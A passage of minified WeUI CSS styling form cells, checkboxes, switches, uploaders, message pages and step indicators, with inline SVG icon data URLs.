weui-icon-checked{opacity:.3}.weui-cells_radio .weui-cell__ft{padding-left:16px;font-size:0}.weui-cells_radio .weui-check+.weui-icon-checked{min-width:16px;color:transparent}.weui-cells_radio .weui-check:checked+.weui-icon-checked,.weui-cells_radio .weui-check[aria-checked="true"]+.weui-icon-checked{color:#07c160;color:var(--weui-BRAND);-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.657%2018.435L3%2012.778l1.414-1.414%204.95%204.95L20.678%205l1.414%201.414-12.02%2012.021a1%201%200%2001-1.415%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.657%2018.435L3%2012.778l1.414-1.414%204.95%204.95L20.678%205l1.414%201.414-12.02%2012.021a1%201%200%2001-1.415%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-cells_checkbox .weui-check__label::before{left:55px}.weui-cells_checkbox .weui-cell__hd{padding-right:16px;font-size:0}.weui-cells_checkbox .weui-icon-checked{-webkit-mask:none;mask:none;background:transparent url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='black' stroke-opacity='0.3' style='stroke:black;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A") 50% 50% no-repeat;background-size:100% 2.4em}.wx-root[data-weui-theme="dark"] .weui-cells_checkbox .weui-icon-checked,body[data-weui-theme="dark"] .weui-cells_checkbox .weui-icon-checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='white' stroke-opacity='0.3' style='stroke:white;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A")}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-icon-checked,body:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-icon-checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='white' stroke-opacity='0.3' style='stroke:white;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A")}}.weui-cells_checkbox .weui-check:checked+.weui-icon-checked,.weui-cells_checkbox .weui-check[aria-checked="true"]+.weui-icon-checked,.wx-root[data-weui-theme="dark"] .weui-cells_checkbox .weui-check:checked+.weui-icon-checked,.wx-root[data-weui-theme="dark"] .weui-cells_checkbox .weui-check[aria-checked="true"]+.weui-icon-checked,body[data-weui-theme="dark"] .weui-cells_checkbox .weui-check:checked+.weui-icon-checked,body[data-weui-theme="dark"] .weui-cells_checkbox .weui-check[aria-checked="true"]+.weui-icon-checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0.5' width='24' height='24' rx='12' fill='%2307C160' style='fill:%2307C160;fill:color(display-p3 0.0275 0.7569 0.3765);fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M10.2712 16.2899L6.5 12.5187L7.44281 11.5759L10.7426 14.8757L18.2851 7.33325L19.2279 8.27606L11.214 16.2899C10.9537 16.5503 10.5316 16.5503 10.2712 16.2899Z' fill='white' style='fill:white;fill-opacity:1;'/%3E%3C/svg%3E%0A")}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-check:checked+.weui-icon-checked,.wx-root:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-check[aria-checked="true"]+.weui-icon-checked,body:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-check:checked+.weui-icon-checked,body:not([data-weui-theme="light"]) .weui-cells_checkbox .weui-check[aria-checked="true"]+.weui-icon-checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0.5' width='24' height='24' rx='12' fill='%2307C160' style='fill:%2307C160;fill:color(display-p3 0.0275 0.7569 0.3765);fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M10.2712 16.2899L6.5 12.5187L7.44281 11.5759L10.7426 14.8757L18.2851 7.33325L19.2279 8.27606L11.214 16.2899C10.9537 16.5503 10.5316 16.5503 10.2712 16.2899Z' fill='white' style='fill:white;fill-opacity:1;'/%3E%3C/svg%3E%0A")}}.weui-label{display:block;width:105px;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-input{width:100%;border:0;outline:0;-webkit-appearance:none;background-color:transparent;font-family:inherit;font-size:inherit;color:inherit;height:1.41176471em;line-height:1.41176471}.weui-input::-webkit-inner-spin-button,.weui-input::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.weui-input:focus:not(:placeholder-shown)+.weui-btn_input-clear{display:inline}.weui-textarea{display:block;border:0;resize:none;background:transparent;width:100%;color:inherit;font-size:1em;font-family:inherit;line-height:inherit;height:80px;outline:0}.weui-textarea-counter{color:rgba(0,0,0,.3);color:var(--weui-FG-2);text-align:right;font-size:14px}.weui-cell_warn,.weui-cell_warn .weui-textarea-counter{color:#fa5151;color:var(--weui-RED)}.weui-cell_warn .weui-icon-warn{display:inline-block}.weui-cell_disabled .weui-input:disabled,.weui-cell_disabled .weui-textarea:disabled,.weui-cell_readonly .weui-input:disabled,.weui-cell_readonly .weui-textarea:disabled{opacity:1;-webkit-text-fill-color:rgba(0,0,0,.55);-webkit-text-fill-color:var(--weui-FG-1)}.weui-cell_disabled .weui-input[disabled],.weui-cell_disabled .weui-input[readonly],.weui-cell_disabled .weui-textarea[disabled],.weui-cell_disabled .weui-textarea[readonly],.weui-cell_readonly .weui-input[disabled],.weui-cell_readonly .weui-input[readonly],.weui-cell_readonly .weui-textarea[disabled],.weui-cell_readonly .weui-textarea[readonly]{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-btn_input-clear{display:none;padding-left:8px}.weui-btn_input-clear [class*="weui-icon-"]{width:18px}.weui-cells_form .weui-cell_disabled:active,.weui-cells_form .weui-cell_readonly:active,.weui-cells_form .weui-cell_switch:active,.weui-cells_form .weui-cell_vcode:active{background-color:transparent}.weui-cells_form .weui-cell__ft{font-size:0}.weui-cells_form .weui-icon-warn{display:none}.weui-cells_form input,.weui-cells_form label[for],.weui-cells_form textarea{-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-form-preview{position:relative;background-color:#fff;background-color:var(--weui-BG-2)}.weui-form-preview::before{top:0;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-form-preview::after,.weui-form-preview::before{content:" ";position:absolute;left:0;right:0;height:1px;color:rgba(0,0,0,.1);color:var(--weui-FG-3)}.weui-form-preview::after{bottom:0;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-form-preview__hd{position:relative;padding:16px;text-align:right;line-height:2.5em}.weui-form-preview__hd::after{content:" ";position:absolute;left:0;bottom:0;right:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5);left:16px}.weui-form-preview__hd .weui-form-preview__value{font-style:normal;font-size:1.6em}.weui-form-preview__bd{padding:16px;font-size:.9em;text-align:right;color:rgba(0,0,0,.55);color:var(--weui-FG-1);line-height:2}.weui-form-preview__ft{position:relative;line-height:50px;display:-webkit-box;display:-webkit-flex;display:flex}.weui-form-preview__ft::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-DIALOG-LINE-COLOR);color:rgba(0,0,0,.1);color:var(--weui-DIALOG-LINE-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-form-preview__item{overflow:hidden}.weui-form-preview__label{float:left;margin-right:1em;width:4.2em;color:rgba(0,0,0,.55);color:var(--weui-FG-1);text-align:left}.weui-form-preview__value{display:block;overflow:hidden;word-break:normal;word-wrap:break-word;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-form-preview__btn{position:relative;display:block;-webkit-box-flex:1;-webkit-flex:1;flex:1;color:#576b95;color:var(--weui-LINK);text-align:center;-webkit-tap-highlight-color:rgba(0,0,0,0)}button.weui-form-preview__btn{background-color:transparent;border:0;outline:0;line-height:inherit;font-size:inherit}.weui-form-preview__btn:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-form-preview__btn::after{content:" ";position:absolute;left:0;top:0;width:1px;bottom:0;border-left:1px solid rgba(0,0,0,.1);border-left:1px solid var(--weui-DIALOG-LINE-COLOR);color:rgba(0,0,0,.1);color:var(--weui-DIALOG-LINE-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-form-preview__btn:first-child::after{display:none}.weui-form-preview__btn_default{color:rgba(0,0,0,.9);color:var(--weui-FG-HALF)}.weui-form-preview__btn_primary{color:#576b95;color:var(--weui-LINK)}.weui-form-preview__list{padding-top:24px;padding-bottom:24px;line-height:1.4;font-size:14px;position:relative}.weui-form-preview__list::before{content:"";content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-form-preview__list:last-child{padding-bottom:0}.weui-form-preview__list .weui-form-preview__label{text-align:left;width:6em}.weui-form-preview__list .weui-form-preview__value{-webkit-hyphens:auto;hyphens:auto}.weui-form-preview__list .weui-form-preview__item{margin-top:12px}.weui-form-preview__list .weui-form-preview__item:first-child,.weui-form-preview__list>.weui-cells__title:first-child{margin-top:0}.weui-cell_select{padding:0}.weui-cell_select .weui-cell__bd::after{content:" ";width:12px;height:24px;-webkit-mask-position:0 0;mask-position:0 0;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100%;mask-size:100%;background-color:currentColor;color:rgba(0,0,0,.3);color:var(--weui-FG-2);-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);position:absolute;top:50%;right:16px;margin-top:-12px}.weui-select{-webkit-appearance:none;border:0;outline:0;background-color:transparent;width:100%;font-size:inherit;min-height:56px;line-height:56px;position:relative;z-index:1;padding-left:16px;padding-right:40px;color:rgba(0,0,0,.9);color:var(--weui-FG-0);vertical-align:bottom;box-sizing:border-box}div.weui-select{width:auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;word-wrap:normal}.weui-cell_select-before .weui-cell__hd{padding-left:0;position:relative}.weui-cell_select-before .weui-cell__hd::after{content:" ";position:absolute;right:0;top:0;width:1px;bottom:0;border-right:1px solid rgba(0,0,0,.1);border-right:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:100% 0;transform-origin:100% 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}.weui-cell_select-before .weui-cell__hd::before{content:" ";width:12px;height:24px;-webkit-mask-position:0 0;mask-position:0 0;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100%;mask-size:100%;background-color:currentColor;color:rgba(0,0,0,.3);color:var(--weui-FG-2);-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.454%206.58l1.06-1.06%205.78%205.779a.996.996%200%20010%201.413l-5.78%205.779-1.06-1.061%205.425-5.425-5.425-5.424z%22%20fill%3D%22%23B2B2B2%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);position:absolute;top:50%;right:16px;margin-top:-12px}.weui-cell_select-before .weui-cell__bd{padding-left:16px}.weui-cell_select-before .weui-cell__bd::after{display:none}.weui-cell_select-before .weui-select{max-width:5em;width:105px;box-sizing:content-box}.weui-cell_select-after .weui-cell__hd{padding-left:16px}.weui-cell_select-after .weui-select{padding-left:0}.weui-cell_vcode{padding-top:0;padding-right:0;padding-bottom:0}.weui-vcode-btn,.weui-vcode-img{margin-left:5px;height:56px;vertical-align:middle}.weui-vcode-btn{display:inline-block;padding:0 .6em 0 .7em;line-height:56px;font-size:17px;color:#576b95;color:var(--weui-LINK);position:relative}.weui-vcode-btn::after{content:" ";position:absolute;left:0;top:0;width:1px;bottom:0;border-left:1px solid rgba(0,0,0,.1);border-left:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5)}button.weui-vcode-btn{background-color:transparent;border:0;outline:0}.weui-vcode-btn:active{color:var(--weui-LINK-ACTIVE)}.weui-gallery{display:none;position:fixed;top:0;right:0;bottom:0;left:0;background-color:#000;z-index:1000}.weui-gallery__img,.weui-gallery__opr{position:absolute;left:0;left:constant(safe-area-inset-left);left:env(safe-area-inset-left);right:0;right:constant(safe-area-inset-right);right:env(safe-area-inset-right)}.weui-gallery__img{top:0;top:constant(safe-area-inset-top);top:env(safe-area-inset-top);bottom:60px;bottom:calc(60px + constant(safe-area-inset-bottom));bottom:calc(60px + env(safe-area-inset-bottom));width:100%;background:50% no-repeat;background-size:contain}.weui-gallery__opr{position:absolute;bottom:0;background-color:#0d0d0d;color:#fff;color:var(--weui-WHITE);line-height:60px;text-align:center}.weui-gallery__del{display:block;padding-bottom:0;padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.weui-gallery__del:active{opacity:.5}.weui-cell_switch{padding-top:12px;padding-bottom:12px}.weui-cell_switch.weui-cell_disabled,.weui-cell_switch.weui-cell_readonly{color:rgba(0,0,0,.1);color:var(--weui-FG-3)}.weui-switch{-webkit-appearance:none;appearance:none}.weui-switch,.weui-switch-cp__box{vertical-align:bottom;position:relative;width:52px;height:32px;background-color:rgba(0,0,0,.1);background-color:var(--weui-FG-3);border:0;padding:2px;outline:0;border-radius:16px;box-sizing:border-box;-webkit-transition:background-color .1s,border .1s;transition:background-color .1s,border .1s}.weui-switch-cp__box::after,.weui-switch::after{content:" ";position:absolute;top:2px;left:2px;width:28px;height:28px;border-radius:15px;background-color:#fff;box-shadow:0 2px 3px 0 rgba(0,0,0,.06);-webkit-transition:-webkit-transform .35s cubic-bezier(.4,.4,.25,1.35);transition:-webkit-transform .35s cubic-bezier(.4,.4,.25,1.35);transition:transform .35s cubic-bezier(.4,.4,.25,1.35);transition:transform .35s cubic-bezier(.4,.4,.25,1.35),-webkit-transform .35s cubic-bezier(.4,.4,.25,1.35)}.weui-switch-cp__input:checked+.weui-switch-cp__box,.weui-switch-cp__input[aria-checked="true"]+.weui-switch-cp__box,.weui-switch:checked{background-color:#07c160;background-color:var(--weui-BRAND)}.weui-switch-cp__input:checked+.weui-switch-cp__box::after,.weui-switch-cp__input[aria-checked="true"]+.weui-switch-cp__box::after,.weui-switch:checked::after{-webkit-transform:translateX(20px);transform:translateX(20px)}.weui-switch-cp__input[aria-disabled="true"]+.weui-switch-cp__box,.weui-switch-cp__input[disabled]+.weui-switch-cp__box,.weui-switch[disabled]{opacity:.1}.weui-switch-cp__input{position:absolute;width:0;height:0;opacity:0;overflow:hidden}.weui-switch-cp__box{display:block}.weui-cell_uploader{padding-bottom:24px}.weui-uploader{-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-uploader__hd{display:-webkit-box;display:-webkit-flex;display:flex;padding-bottom:12px;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-uploader__title{-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-uploader__info{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-uploader__bd{margin-bottom:-8px;margin-right:-8px;overflow:hidden}.weui-uploader__files{list-style:none}.weui-uploader__file{float:left;margin-right:8px;margin-bottom:8px;width:96px;height:96px;background:no-repeat 50%;background-size:cover}.weui-uploader__file_status{position:relative}.weui-uploader__file_status::before{content:" ";position:absolute;top:0;right:0;bottom:0;left:0;background-color:rgba(0,0,0,.5)}.weui-uploader__file_status .weui-uploader__file-content{display:block}.weui-uploader__file-content{display:none;position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);color:#fff;color:var(--weui-WHITE)}.weui-uploader__file-content .weui-icon-warn{display:inline-block}.weui-uploader__input-box{float:left;position:relative;margin-right:8px;margin-bottom:8px;width:96px;height:96px;box-sizing:border-box;background-color:#ededed}.wx-root[data-weui-theme="dark"] .weui-uploader__input-box,body[data-weui-theme="dark"] .weui-uploader__input-box{background-color:#2e2e2e}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-uploader__input-box,body:not([data-weui-theme="light"]) .weui-uploader__input-box{background-color:#2e2e2e}}.weui-uploader__input-box::after,.weui-uploader__input-box::before{content:" ";position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);background-color:#a3a3a3}.wx-root[data-weui-theme="dark"] .weui-uploader__input-box::after,.wx-root[data-weui-theme="dark"] .weui-uploader__input-box::before,body[data-weui-theme="dark"] .weui-uploader__input-box::after,body[data-weui-theme="dark"] .weui-uploader__input-box::before{background-color:#6d6d6d}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-uploader__input-box::after,.wx-root:not([data-weui-theme="light"]) .weui-uploader__input-box::before,body:not([data-weui-theme="light"]) .weui-uploader__input-box::after,body:not([data-weui-theme="light"]) .weui-uploader__input-box::before{background-color:#6d6d6d}}.weui-uploader__input-box::before{width:2px;height:33.33%}.weui-uploader__input-box::after{width:33.33%;height:2px}.weui-uploader__input-box:active::after,.weui-uploader__input-box:active::before{opacity:.7}.weui-uploader__input{position:absolute;z-index:1;top:0;left:0;width:100%;height:100%;opacity:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-msg__desc-primary a,.weui-msg__desc a,.weui-msg__tips a{color:#576b95;color:var(--weui-LINK);display:inline-block;vertical-align:baseline}.weui-msg{padding-top:48px;padding:calc(48px + constant(safe-area-inset-top)) constant(safe-area-inset-right) constant(safe-area-inset-bottom) constant(safe-area-inset-left);padding:calc(48px + env(safe-area-inset-top)) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);text-align:center;line-height:1.4;min-height:100%;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;background-color:#fff;background-color:var(--weui-BG-2)}.weui-msg__icon-area{margin-bottom:32px}.weui-msg__text-area{margin-bottom:32px;padding:0 32px;-webkit-box-flex:1;-webkit-flex:1;flex:1;line-height:1.6;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-msg__text-area:first-child{padding-top:96px}.weui-msg__title{font-weight:500;font-size:22px}.weui-msg__desc,.weui-msg__title{margin-bottom:16px;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-msg__desc{font-size:17px;font-weight:400}.weui-msg__desc-primary{font-size:14px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);margin-bottom:16px}.weui-msg__custom-area{text-align:left;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto;margin-bottom:16px}.weui-msg__title+.weui-msg__custom-area{margin-top:48px}.weui-msg__desc+.weui-msg__custom-area,.weui-msg__desc-primary+.weui-msg__custom-area{margin-top:40px}.weui-msg__custom-area .weui-cells__group_form .weui-cells{margin:0}.weui-msg__opr-area{margin-bottom:16px}.weui-msg__opr-area .weui-btn-area{margin:0}.weui-msg__opr-area .weui-btn+.weui-btn{margin-bottom:16px}.weui-msg__opr-area:last-child{margin-bottom:96px}.weui-msg__opr-area+.weui-msg__extra-area{margin-top:48px}.weui-msg__tips-area{margin-bottom:16px;padding:0 40px;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto}.weui-msg__opr-area+.weui-msg__tips-area{margin-bottom:48px}.weui-msg__tips-area:last-child{margin-bottom:64px}.weui-msg__tips{font-size:14px}.weui-msg__extra-area,.weui-msg__tips{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-msg__extra-area{margin-bottom:24px;padding:0 32px;box-sizing:border-box;font-size:12px}.weui-msg__extra-area a,.weui-msg__extra-area navigator{color:#576b95;color:var(--weui-LINK)}.weui-msg__extra-area navigator{display:inline}.weui-msg_align-top .weui-msg__text-area:first-child{padding-top:0}body,page{--weui-STEPS-DEFAULT-COLOR:var(--weui-FG-3);--weui-STEPS-HIGHLIGHT-COLOR:var(--weui-BRAND);--weui-STEPS-FONT-SIZE:17;--weui-STEPS-LINEHEIGHT:1.4;--weui-STEPS-DOT-SIZE:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);--weui-STEPS-ICON-SIZE:40;--weui-STEPS-VERTICAL-DOT-GAP:calc((1em - var(--weui-STEPS-DOT-SIZE)) / 2);--weui-STEPS-HORIZONAL-DOT-GAP:4px}.weui-steps{line-height:1.4;line-height:var(--weui-STEPS-LINEHEIGHT);font-size:17px;font-size:calc(1px * var(--weui-STEPS-FONT-SIZE))}.weui-steps__item__desc,.weui-steps__item__title{display:block}.weui-steps__item__title{font-weight:500}.weui-steps__item__desc{font-size:14px;color:rgba(0,0,0,.3);color:var(--weui-FG-2);margin-top:4px}.weui-steps_vertical{position:relative}.weui-steps_vertical .weui-steps__item{position:relative;padding-bottom:32px}.weui-steps_vertical .weui-steps__item::before{content:"";content:" ";position:absolute;left:0;top:0;width:1px;bottom:0;border-left:1px solid var(--weui-FG-3);border-left:1px solid var(--weui-STEPS-DEFAULT-COLOR);color:var(--weui-FG-3);color:var(--weui-STEPS-DEFAULT-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleX(.5);transform:scaleX(.5);top:1.2em;top:calc((var(--weui-STEPS-LINEHEIGHT) - (var(--weui-STEPS-LINEHEIGHT) - 1) / 2) * 1em);bottom:-0.2em;bottom:calc((var(--weui-STEPS-LINEHEIGHT) - 1) / 2 * -1em)}.weui-steps_vertical .weui-steps__item:first-child:not(.weui-steps__item_success) .weui-steps__item__inner::before{background-color:var(--weui-BRAND);background-color:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_vertical .weui-steps__item:last-child::before{display:none}.weui-steps_vertical .weui-steps__item__inner{position:relative;z-index:1;padding-left:36px}.weui-steps_vertical .weui-steps__item__inner::before{content:"";width:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);width:var(--weui-STEPS-DOT-SIZE);height:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);height:var(--weui-STEPS-DOT-SIZE);border-radius:100%;background-color:var(--weui-FG-3);background-color:var(--weui-STEPS-DEFAULT-COLOR)}.weui-steps_vertical .weui-steps__icon,.weui-steps_vertical .weui-steps__item__inner::before{position:absolute;z-index:1;left:0;top:0.7em;top:calc(var(--weui-STEPS-LINEHEIGHT) / 2 * 1em);-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.weui-steps_vertical .weui-steps__icon{font-size:17px;font-size:calc(1px * var(--weui-STEPS-FONT-SIZE));width:2.35294em;width:calc(var(--weui-STEPS-ICON-SIZE) / var(--weui-STEPS-FONT-SIZE) * 1em);height:2.35294em;height:calc(var(--weui-STEPS-ICON-SIZE) / var(--weui-STEPS-FONT-SIZE) * 1em);margin-top:0.39647em;margin-top:calc((var(--weui-STEPS-ICON-SIZE) / var(--weui-STEPS-FONT-SIZE) * 1em - 1em) / 2 - .28em)}.weui-steps_vertical .weui-steps__item_icon::before{top:calc(((1em - var(--weui-STEPS-DOT-SIZE)) / 2) + 40 / 17 * 1em - .14em);top:calc(var(--weui-STEPS-VERTICAL-DOT-GAP) + var(--weui-STEPS-ICON-SIZE) / var(--weui-STEPS-FONT-SIZE) * 1em - .14em)}.weui-steps_vertical .weui-steps__item_icon .weui-steps__item__inner::before{display:none}.weui-steps_vertical .weui-steps__item_icon-prev::before{bottom:calc(((1em - var(--weui-STEPS-DOT-SIZE)) / 2) - 0.4 / 2 * 1em + .14em);bottom:calc(var(--weui-STEPS-VERTICAL-DOT-GAP) - (var(--weui-STEPS-LINEHEIGHT) - 1) / 2 * 1em + .14em)}.weui-steps_vertical .weui-steps__item_success::before{border-color:var(--weui-BRAND);border-color:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_vertical .weui-steps__item_success+.weui-steps__item .weui-steps__item__inner::before,.weui-steps_vertical .weui-steps__item_success .weui-steps__item__inner::before{background-color:var(--weui-BRAND);background-color:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_horizonal,.weui-steps_horizonal .weui-steps__item{display:-webkit-box;display:-webkit-flex;display:flex}.weui-steps_horizonal .weui-steps__item{-webkit-box-flex:1;-webkit-flex:1;flex:1;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-steps_horizonal .weui-steps__item::before{content:"";display:block;width:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);width:var(--weui-STEPS-DOT-SIZE);height:calc(8 / var(--weui-STEPS-FONT-SIZE) * 1em);height:var(--weui-STEPS-DOT-SIZE);border-radius:100%;background-color:var(--weui-FG-3);background-color:var(--weui-STEPS-DEFAULT-COLOR);-webkit-flex-shrink:0;flex-shrink:0}.weui-steps_horizonal .weui-steps__item::after{content:"";height:.5px;-webkit-box-flex:1;-webkit-flex:1;flex:1;margin:0 4px;margin:0 var(--weui-STEPS-HORIZONAL-DOT-GAP);background:var(--weui-FG-3);background:var(--weui-STEPS-DEFAULT-COLOR)}.weui-steps_horizonal .weui-steps__item:last-child{-webkit-box-flex:0;-webkit-flex:none;flex:none}.weui-steps_horizonal .weui-steps__item:last-child::after{display:none}.weui-steps_horizonal .weui-steps__item:first-child:not(.weui-steps__item_success)::before{background:var(--weui-BRAND);background:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_horizonal .weui-steps__item__inner{margin-left:8px}.weui-steps_horizonal .weui-steps__item_success+.weui-steps__item::before,.weui-steps_horizonal .weui-steps__item_success::after,.weui-steps_horizonal .weui-steps__item_success::before{background:var(--weui-BRAND);background:var(--weui-STEPS-HIGHLIGHT-COLOR)}.weui-steps_horizonal-primary{display:-webkit-box;display:-webkit-flex;display:flex}.weui-steps_horizonal-primary .weui-steps__item{-webkit-box-flex:1;-webkit-flex:1;flex:1;position:relative}.weui-steps_horizonal-primary .weui-steps__item::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid var(--weui-FG-3);border-top:1px solid var(--weui-STEPS-DEFAULT-COLOR);color:var(--weui-FG-3);color:var(--weui-STEPS-DEFAULT-COLOR);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-steps_horizonal-primary .weui-steps__item:last-child{-webkit-box-flex:0;-webkit-flex:none;flex:none}.weui-steps_horizonal-primary .weui-steps__item:last-child::before{display:none}.weui-steps_horizonal-primary .weui-steps__item__inner{position:relative;padding-top:36px}.weui-steps_horizonal-primary .weui-steps__item__inner::before{content:"";position:absolute;z-index:1;width:calc(8 / var(--weui-STEPS-FONT-SIZE) * 